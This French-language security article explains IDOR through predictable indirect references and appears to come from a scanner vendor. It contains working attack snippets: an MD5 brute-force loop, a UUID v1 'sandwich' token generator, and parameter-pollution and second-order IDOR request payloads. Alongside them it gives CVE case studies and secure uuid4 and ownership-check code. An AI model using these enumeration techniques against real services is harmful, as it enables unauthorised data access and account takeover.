L'application mappe un token visible par l'utilisateur (hash, GUID) à une ressource interne, mais le mapping est prévisible ou énumérable.
TL;DR
L'IDOR de référence indirecte survient quand une application remplace un ID de base de données interne par un identifiant secondaire — nom de fichier, hash, code de référence, UUID ou slug — qui semble opaque aux clients mais est en réalité prévisible, réversible, ou découvrable via le comportement légitime de l'application. L'hypothèse de sécurité est que si l'identifiant semble aléatoire, les attaquants ne peuvent pas le deviner. Cette hypothèse échoue de trois façons distinctes : l'identifiant est calculé à partir d'entrées prévisibles (MD5, Base64, UUID v1), il est divulgué via des fonctionnalités légitimes de l'application (liens partagés, notifications email, en-têtes Referer), ou il utilise un schéma avec un espace de recherche suffisamment étroit pour être forcé.
CWE-639 couvre cette variante identiquement à l'IDOR direct : le contournement d'autorisation se fait via une clé contrôlée par l'utilisateur, que cette clé soit un entier séquentiel ou une référence apparemment opaque. Le cheat sheet de prévention IDOR de l'OWASP distingue explicitement l'utilisation de références opaques (une atténuation contre l'énumération) de l'implémentation de l'autorisation (le contrôle de sécurité réel). Ces deux éléments sont complémentaires mais non interchangeables.
L'insight clé du praticien : passer d'entiers séquentiels à des références hashées ou basées sur UUID convertit un IDOR de "trivialement exploitable par n'importe quel attaquant" à "exploitable par un attaquant plus qualifié". C'est une défense en profondeur précieuse mais cela n'élimine pas l'exigence d'autorisation.
ID encodé en Base64 — décodé trivialement, non chiffré :
Token : eyJ1c2VyX2lkIjoxMzM3fQ==
Décoder : {"user_id":1337}
Modifier : {"user_id":1338}
Ré-encoder : eyJ1c2VyX2lkIjoxMzM4fQ==MD5(user_id) — calculable pour tout l'espace d'ID entiers en quelques secondes :
import hashlib
# La référence "opaque"
token_dans_reponse = "8277e0910d750195b448797616e091ad" # md5("1337")
# Force brute : calculer md5(1) jusqu'à md5(10000000)
for user_id in range(1, 10_000_001):
candidat = hashlib.md5(str(user_id).encode()).hexdigest()
if candidat == token_dans_reponse:
print(f"Résolu : {user_id}") # trouve 1337 presque instantanément
breakRéférence de chaîne séquentielle — extraire et incrémenter le composant numérique :
FAC-2024-04521 → essayer FAC-2024-04520, FAC-2024-04522
CMD-2025-001337 → essayer CMD-2025-001336, CMD-2025-001338C'est la distinction la plus mal comprise dans l'IDOR de référence indirecte. UUID v1 encode l'horodatage courant (intervalles de 100 nanosecondes depuis le 15 octobre 1582) et l'adresse MAC du serveur :
UUID v1 : 11ef-8888-02c9-0000-0000-1eb6f832-0a01
↑ champs d'horodatage (prévisibles dans la fenêtre temporelle)
↑ adresse MAC (constante par serveur)
UUID v4 : 550e8400-e29b-41d4-a716-446655440000
Tous les champs générés aléatoirement — 2^122 valeurs possiblesL'attaque sandwich UUID v1 : un attaquant crée un compte immédiatement avant et immédiatement après un utilisateur cible. Les deux valeurs UUID v1 résultantes encadrent le temps de création de la cible. L'attaquant force toutes les valeurs UUID v1 dans cette fenêtre temporelle :
import uuid
# L'attaquant inscrit le compte A — enregistre uuid_a (horodatage T1)
# L'utilisateur cible s'inscrit entre A et B — uuid inconnu (horodatage T_cible)
# L'attaquant inscrit le compte B — enregistre uuid_b (horodatage T2)
# Force brute : énumérer toutes les valeurs UUID v1 entre T1 et T2
# La résolution d'horodatage est 100ns → typiquement < 10 000 valeurs à tester
# Si le composant MAC est constant (même serveur), seul l'horodatage varie
def forcer_uuidv1(uuid_avant, uuid_apres):
ts_avant = uuid.UUID(uuid_avant).time
ts_apres = uuid.UUID(uuid_apres).time
mac = uuid.UUID(uuid_avant).node # constant par serveur
seq_horloge = uuid.UUID(uuid_avant).clock_seq # généralement stable
for horodatage in range(ts_avant + 1, ts_apres):
candidat = uuid.UUID(fields=(
horodatage & 0xFFFFFFFF,
(horodatage >> 32) & 0xFFFF,
(horodatage >> 48) & 0x0FFF | 0x1000,
(seq_horloge >> 8) | 0x80,
seq_horloge & 0xFF,
mac
))
yield str(candidat) # tester chaque valeur contre l'APICVE-2024-45719 — Apache Answer a exploité exactement ce pattern. Les tokens de réinitialisation de mot de passe étaient des valeurs UUID v1. Un attaquant qui obtenait n'importe quel UUID de la réponse API publique pouvait forcer les tokens de réinitialisation valides pour des inscriptions de comptes concurrentes dans la fenêtre d'horodatage prévisible, permettant la prise de contrôle de compte sans accès à l'email de l'utilisateur.
L'IDOR de second ordre est temporellement séparé : l'attaquant fournit une référence lors d'une opération (inscription, création de profil, soumission de formulaire), et l'application consomme cette référence dans une opération ultérieure sans re-valider la propriété. Les outils DAST qui rejouent des requêtes individuelles ne peuvent pas détecter cela car l'échec d'autorisation se manifeste dans une requête différente de l'injection.
Étape 1 : POST /api/inscription
{"email": "attaquant@evil.com", "linked_account_id": 1338}
→ Serveur stocke linked_account_id=1338 dans le profil de l'attaquant
→ Réponse : 201 Created (aucune erreur — 1338 ressemble à un ID valide)
Étape 2 : (Plus tard, session différente) GET /api/tableau-de-bord
Authorization: Bearer <token_attaquant>
→ Le tableau de bord récupère automatiquement linked_account_id=1338 depuis le profil de l'attaquant
→ Retourne les données liées de l'Utilisateur 1338 sans re-vérifier la propriété
→ IDOR confirmé — données accessibles uniquement à l'étape 2La pollution de paramètre HTTP soumet le même paramètre plusieurs fois pour exploiter le comportement d'analyse spécifique au framework :
# Paramètres de requête dupliqués — différents frameworks traitent différemment
GET /api/commandes?user_id=1337&user_id=1338
# Tableau JSON dans le champ ID — certains ORM traitent comme requête OR
{"user_id": [1337, 1338]}
# Injection de joker — certaines API acceptent * comme ID
{"user_id": "*"}| Variante | Technique | Réversibilité |
|---|---|---|
| Base64(id) | Décoder → modifier l'entier → ré-encoder | Trivial |
| MD5(id) / SHA1(id) | Précalculer tout l'espace d'ID entiers | Facile (< 1 seconde) |
| UUID v1 | Attaque sandwich sur l'horodatage de création | Moyen (< 10 000 tentatives) |
| Référence de chaîne séquentielle | Extraire le suffixe numérique, incrémenter | Facile |
| Énumération de nom de fichier | Découverte de nom d'utilisateur/pattern d'abord | Moyen |
| Second ordre stocké | Injecter à l'étape 1, exploiter à l'étape 2 | Le DAST mono-requête rate cela |
| Pollution de paramètre | Params dupliqués exploitent les particularités du parseur | Spécifique au contexte |
CVE-2024-45719 — Apache Answer (Tokens UUID v1 prévisibles, 2024) — Apache Answer utilisait UUID Version 1 pour les tokens de réinitialisation de mot de passe. UUID v1 encode un horodatage et un composant d'adresse MAC. Un attaquant qui obtenait n'importe quelle valeur UUID v1 de l'application (disponible publiquement dans les réponses API) pouvait énumérer les tokens de réinitialisation valides pour des comptes inscrits dans une fenêtre temporelle prévisible en utilisant l'attaque sandwich. Forcer la plage d'horodatage avec le composant MAC connu réduisait l'espace de recherche à quelques milliers de candidats — faisable en quelques secondes. Impact : prise de contrôle de compte sans connaissance de l'email ou du mot de passe de la cible.
CVE-2023-4836 — WordPress User Private Files Plugin — Le plugin stockait des fichiers utilisateur privés à GET /wp-content/uploads/private/{user_id}/{filename}. Bien que user_id soit un entier (référence directe), le composant filename dérivait du nom d'upload original — une référence indirecte prévisible. Les abonnés à faible privilège pouvaient accéder aux documents privés de n'importe quel autre utilisateur en devinant les noms de fichiers (noms d'upload originaux, patterns courants, ou énumérés via messages d'erreur).
CVE-2024-1626 — Plateforme LLM lunary-ai (février 2024) — La plateforme lunary-ai, qui stocke des données d'observabilité LLM incluant des clés API et des prompts propriétaires, était vulnérable à un IDOR permettant l'accès aux données de run LLM d'autres utilisateurs. Les références utilisées pour accéder aux données de run étaient obtenues via des appels API légitimes, permettant à un utilisateur authentifié de pivoter vers les données de session AI de n'importe quel autre utilisateur et — critiquement — leurs clés API OpenAI et Anthropic.
Violation API Twitter/X (2022, 5,4 millions d'enregistrements) — Un endpoint API Twitter acceptait une adresse email ou un numéro de téléphone comme référence indirecte et retournait les détails du compte associé. Il s'agit d'un IDOR de référence indirecte via énumération d'attributs : le type de référence n'est pas un ID numérique mais un attribut personnellement identifiable. Chercheur soumis via HackerOne (prime 5 040 $) ; les données ont ensuite été vendues pour 30 000 $.
md5(1) jusqu'à md5(100) et comparer aux références connues.M à la position 13 — 1 = UUID v1, 4 = UUID v4.import uuid
def identifier_version_uuid(chaine_uuid):
"""Identifier la version UUID et évaluer la prévisibilité."""
u = uuid.UUID(chaine_uuid)
version = u.version
if version == 1:
# L'horodatage est prévisible — calculer l'heure de création
horodatage = u.time
# Horodatage UUID v1 = intervalles de 100 ns depuis 1582-10-15
import datetime
epoque = datetime.datetime(1582, 10, 15)
heure_creation = epoque + datetime.timedelta(microseconds=horodatage // 10)
print(f"UUID v1 — créé à : {heure_creation} — PRÉVISIBLE")
print(f"Composant MAC : {hex(u.node)}")
elif version == 4:
print("UUID v4 — aléatoire — énumération non faisable")
return versionPour les endpoints basés sur UUID, BreachVex génère des UUID adjacents réalistes au lieu d'UUID nuls (qui retournent 404 pour des raisons de format). Pour les endpoints UUID v1, il teste des UUID temporellement adjacents dérivés de la fenêtre temporelle connue. Pour les références Base64, il décode, incrémente et ré-encode automatiquement.
BreachVex gère la taxonomie des références indirectes en détectant le format de référence dans les templates d'URL d'endpoint avant de sélectionner la stratégie d'énumération.
Le cheat sheet de prévention IDOR de l'OWASP recommande une "table de mapping de référence indirecte" : une table de recherche côté serveur qui mappe des tokens générés aléatoirement vers des IDs internes. L'application génère token = uuid4(), stocke {token: internal_id} dans un map scopé à la session ou en base de données, et expose uniquement le token. Résoudre le token nécessite une recherche en base de données qui peut imposer la propriété simultanément. C'est architecturalement plus sûr que calculer un hash réversible car le mapping n'est pas dérivable du token.
Le pattern le plus sécurisé : le serveur génère un token aléatoire opaque, stocke le mapping token-vers-ID, et le résout à chaque requête avec une vérification de propriété :
import uuid
from fastapi import HTTPException
# Générer et stocker une référence opaque
async def creer_reference_facture(facture: Facture, owner_id: int) -> str:
token = str(uuid.uuid4()) # cryptographiquement aléatoire — pas uuid1()
await db.execute(
insert(TokenFacture).values(
token=token,
facture_id=facture.id,
owner_id=owner_id
)
)
return token # le token est ce que voit le client, jamais l'ID entier
# Résoudre avec vérification de propriété — le mapping impose l'autorisation
async def resoudre_token_facture(token: str, user_id_demandeur: int) -> Facture:
mapping = await db.execute(
select(TokenFacture)
.where(TokenFacture.token == token)
.where(TokenFacture.owner_id == user_id_demandeur) # verrou de propriété
)
if not mapping:
raise HTTPException(status_code=404)
return await db.get(Facture, mapping.facture_id)Toujours utiliser uuid.uuid4() pour les identifiants visibles externalement, jamais uuid.uuid1() :
import uuid
# VULNÉRABLE — prévisible par horodatage (pattern CVE-2024-45719)
token_reinit = str(uuid.uuid1()) # encode l'horodatage courant + MAC
# SÉCURISÉ — cryptographiquement aléatoire, 2^122 valeurs possibles
token_reinit = str(uuid.uuid4()) # aucune structure prévisible
# Encore plus sûr : utiliser le module secrets pour les tokens nécessitant une sécurité cryptographique
import secrets
token_reinit = secrets.token_urlsafe(32) # 256 bits d'entropie# VULNÉRABLE — stocke l'ID fourni par l'attaquant sans validation
@router.post("/api/inscription")
async def inscrire(data: DonneesInscription):
utilisateur = Utilisateur(
email=data.email,
linked_account_id=data.linked_account_id # stocké sans vérification de propriété
)
await db.add(utilisateur)
# SÉCURISÉ — vérifier la propriété du compte lié lors du stockage
@router.post("/api/inscription")
async def inscrire(data: DonneesInscription, current_user: Utilisateur = Depends(get_current_user)):
if data.linked_account_id:
compte = await db.execute(
select(Compte)
.where(Compte.id == data.linked_account_id)
.where(Compte.owner_id == current_user.id) # vérification de propriété au stockage
)
if not compte:
raise HTTPException(status_code=404)
utilisateur = Utilisateur(email=data.email, linked_account_id=data.linked_account_id)
await db.add(utilisateur)# VULNÉRABLE — nom de fichier opaque mais aucune vérification de propriété
def telecharger_facture(request):
ref = request.GET.get("ref")
facture = Facture.objects.get(ref=ref) # facture de n'importe quel utilisateur
return FileResponse(open(facture.chemin_pdf, "rb"))
# SÉCURISÉ — propriété imposée sur l'identifiant secondaire aussi
def telecharger_facture(request):
ref = request.GET.get("ref")
facture = get_object_or_404(Facture, ref=ref, owner=request.user)
return FileResponse(open(facture.chemin_pdf, "rb"))Une référence indirecte à un objet remplace un ID de base de données interne par un identifiant secondaire — nom de fichier, hash, slug ou UUID — qui mappe côté serveur vers l'enregistrement sous-jacent. L'objectif est de prévenir l'énumération. La vulnérabilité survient quand cette référence secondaire est prévisible, réversible ou peut être obtenue par un attaquant via le comportement légitime de l'application.
Non. MD5 est un hash à sens unique, mais appliqué à de petits IDs entiers (1 à 10 000 000), la totalité de la table arc-en-ciel précalculée peut être générée en quelques secondes. Un attaquant qui connaît le schéma — généralement découvert en calculant md5('1') et en comparant à la référence dans une réponse API — peut énumérer tous les hashes MD5 d'utilisateurs en quelques millisecondes.
UUID v1 encode un horodatage (intervalles de 100 nanosecondes depuis le 15 octobre 1582) et une adresse MAC. Si un attaquant crée un compte immédiatement avant et après un utilisateur cible (le 'sandwich'), il obtient deux UUID encadrant le temps de création de la cible. La force brute des ~10 000 valeurs UUID v1 dans cette fenêtre temporelle est faisable en moins d'une seconde sur du matériel moderne.
CVE-2024-45719 dans Apache Answer utilisait UUID v1 pour les tokens de réinitialisation de mot de passe. Un attaquant qui obtenait n'importe quel UUID v1 de l'application pouvait forcer les tokens de réinitialisation valides pour d'autres comptes dans la plage d'horodatage prévisible, permettant la prise de contrôle de compte.
UUID v4 prévient l'IDOR basé sur l'énumération car il est cryptographiquement aléatoire (2^122 valeurs possibles). Il ne prévient pas l'IDOR quand l'attaquant obtient légitimement une référence — par exemple, depuis un lien de document partagé, une notification email, un en-tête Referer ou une réponse API d'un autre utilisateur. Les vérifications d'autorisation restent obligatoires quel que soit le schéma d'ID.
L'IDOR de second ordre survient quand un identifiant fourni par l'utilisateur est stocké lors d'une requête et consommé dans une requête ultérieure sans re-validation de propriété. Exemple : POST /register avec {linked_account_id: 1338} stocke la référence ; plus tard, GET /dashboard récupère automatiquement linked_account_id=1338 sans vérifier si l'utilisateur authentifié est 1338. Les outils DAST qui rejouent des requêtes individuelles ne peuvent pas détecter cela.
La pollution de paramètre HTTP soumet le même paramètre plusieurs fois dans une requête : ?user_id=1337&user_id=1338. Le comportement du framework diffère : certains traitent la première occurrence, certains la dernière, certains concatènent. Tester la pollution de paramètre peut contourner les filtres qui ne nettoient qu'une seule occurrence de paramètre.
Utiliser une table de mapping côté serveur : l'application génère un token cryptographiquement aléatoire (UUID v4 ou slug généré de façon sécurisée), stocke le mapping (token → internal_id) en base de données, et expose uniquement le token aux clients. Le serveur résout le token vers l'ID interne lors du traitement de la requête et impose la propriété au niveau de la requête de base de données.